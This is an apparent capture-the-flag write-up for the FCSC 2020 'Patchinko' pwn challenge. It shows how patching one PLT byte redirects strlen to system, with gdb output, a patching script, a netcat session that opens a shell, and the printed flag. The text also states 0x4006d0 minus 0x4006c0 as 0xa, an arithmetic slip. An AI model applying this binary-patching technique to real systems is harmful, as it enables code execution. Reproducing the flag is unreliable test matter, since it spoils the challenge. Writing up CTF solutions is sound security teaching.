FCSC 2020 - Patchinko (pwn)

PWN - Patchinko

This challenge require a bit of understanding of ELF format and especially PLT section. A binary was given and also a tcp service running on a remote server.

When you connect to the remote server you got this message

================================
== Patchinko Gambling Machine ==
================================

We present you the new version of our Patchinko Gambling Machine!
This is a game of chance: you need to guess a 64-bit random number.
As we have been told that it is quite hard, we help you.
Before the machine executes its code, you can patch *one* byte of its binary.
Choose wisely!

At which position do you want to modify (base 16)?
>>>

So you can patch 1 byte of the binary, not the memory at runtime but the binary itself.

We know may look at the binary .text section to see which functions are used and how everything work together.

image-20200504213030424

The main informations are :

  • system is present in the PLT
  • 2 fgets call with 4 and 64 bytes read

Checking for the binary protections

$ checksec patchinko.bin

[*] '/home/switch/nextcloud/CTF/FCSC2020/pwn/patchinko/patchinko.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Woah, no protections at all (without doubt ASLR however), open bar.

My first idea was to modify the second fgets call, modifying the byte at 400876 with 0xff to read 0xff04 bytes as

L:dsm:x86_64 > be04ff0000
        0x00080000:     mov     esi, 0xff04
// fgets(v6, 64, stdin);

400869:       48 8b 15 20 08 20 00    mov    rdx,QWORD PTR [rip+0x200820]        # 601090 
400870:       48 8d 45 f4             lea    rax,[rbp-0xc]
400874:       be 04 00 00 00          mov    esi,0x4  // just here
400879:       48 89 c7                mov    rdi,rax
40087c:       e8 6f fe ff ff          call   4006f0 <fgets@plt>

We would have a buffer overflow and could start roping this binary, but before to go I checked the available gadgets with ROPgadget looking for pop rdi

0x0000000000400806 : cmp dword ptr [rdi], 0 ; jne 0x400815 ; jmp 0x4007a5
0x0000000000400805 : cmp qword ptr [rdi], 0 ; jne 0x400816 ; jmp 0x4007a6
0x000000000040089d : or cl, byte ptr [rdi] ; mov dh, 0x45 ; hlt ; cmp al, 0x6e ; je 0x4008b1 ; jmp 0x400861
0x0000000000400a33 : pop rdi ; ret

Sadly the address contains a \n, if we send our payload fgets will stop the reading just after reading the first 0x0a and the remaining of our payload will be lost, unexploitable this way.

The gadgets contained in __libc_csu_init also contains this char ..

Never mind we can exploit this the smart way.

The PLT (Procedure Linkage Table) is a section in the TEXT segment once mapped. This stub is in charge of resolving external symbols (like these in the libc). I won’t explain how it works here but check the sources I will link useful post to understand it.

The way to exploit this binary is to modify an entry in the PLT to hijack the call to a function to execute another one, system for example.

As we want to call system we can only hijack a function with the same args as it, a pointer to the string to be executed.

The perfect target is strlen.

do
{
    printf("Is this your first time here? [y/n]\n>>> ");
    fgets(s, 4, stdin);
    s[strlen(s) - 1] = 0;
}
while ( s[0] != 121 && s[0] != 110 );

It is called with a pointer to a string that we send through fgets, however we will only be able to send 4 char, is way enough for sh.

Now we have to find which byte to modify.

$ objdump -d plt -Mintel patchinko.bin


00000000004006c0 <strlen@plt>:
  4006c0:       ff 25 6a 09 20 00       jmp    QWORD PTR [rip+0x20096a]        # 601030 <strlen@GLIBC_2.2.5>
  4006c6:       68 03 00 00 00          push   0x3
  4006cb:       e9 b0 ff ff ff          jmp    400680 <.plt>

00000000004006d0 <system@plt>:
  4006d0:       ff 25 62 09 20 00       jmp    QWORD PTR [rip+0x200962]        # 601038 <system@GLIBC_2.2.5>
  4006d6:       68 04 00 00 00          push   0x4
  4006db:       e9 a0 ff ff ff          jmp    400680 <.plt>

Instead of making a jump to [rip+0x20096a] we have to do the same jump as system which jump at [rip+0x200962].

jmp instruction is relative we can’t just modify the byte with 0x62

We have to compute the number of byte (opcode) between these two jump.

0x4006d0 - 0x4006c0 = 0xa 

So we have to jump from a bit less far than at 0x4006d0 so we must add 16 to the offset accessed by system

0x62 + 0x10 = 0x72

As I love debug and be sure before going raw, I will test on my machine. As the patching service is not provided I will use my personal lib for ELF patching.

#!/usr/bin/python
from Hellf import ELF
from IPython import embed
from sys import argv
from struct import pack

e = ELF("./patchinko.bin")

text = e.get_section_by_name(".plt")
offset = int(argv[1], 16) - text.sh_offset
text.data = text.data [:offset] + pack("B", int(argv[2], 16)) + text.data [offset + 1:]
e.save("./patched")
$ gdb ./patched

gef➤  disass system
Dump of assembler code for function system@plt:
   0x00000000004006c0 <+0>:     jmp    QWORD PTR [rip+0x200972]        # 0x601038 <system@got.plt>
   0x00000000004006c6 <+6>:     push   0x3
   0x00000000004006cb <+11>:    jmp    0x400680
   0x00000000004006d0 <+16>:    jmp    QWORD PTR [rip+0x200962]        # 0x601038 <system@got.plt>
   0x00000000004006d6 <+22>:    push   0x4
   0x00000000004006db <+27>:    jmp    0x400680
End of assembler dump.
gef➤  disass strlen
No symbol table is loaded.  Use the "file" command.

the call to strlen do not exist anymore it is replaced by the system call, nice. We can set a breakpoint at the old address of strlen at 0x400888 and execute the binary.

No more strlen call, we will execute sh with the system call. We win.

image-20200504223155096

We can now go online and get this flag !

#  λ ackira ~/nextcloud/CTF/FCSC2020/pwn/patchinko » rlwrap nc challenges1.france-cybersecurity-challenge.fr 4009
# ================================
# == Patchinko Gambling Machine ==
# ================================
#
# We present you the new version of our Patchinko Gambling Machine!
# This is a game of chance: you need to guess a 64-bit random number.
# As we have been told that it is quite hard, we help you.
# Before the machine executes its code, you can patch *one* byte of its binary.
# Choose wisely!
#
# At which position do you want to modify (base 16)?
# >>> 6c2
# Which byte value do you want to write there (base 16)?
# >>> 72
# == Let's go!
# Hello! Welcome to Patchinko Gambling Machine.
# Is this your first time here? [y/n]
# >>> sh
# ls
# flag
# patchinko.bin
# patchinko.py
# cat flag
# FCSC{b4cbc07a77bb0984b994c9e34b2897ab49f08524402c38621a38bc4475102998}

resources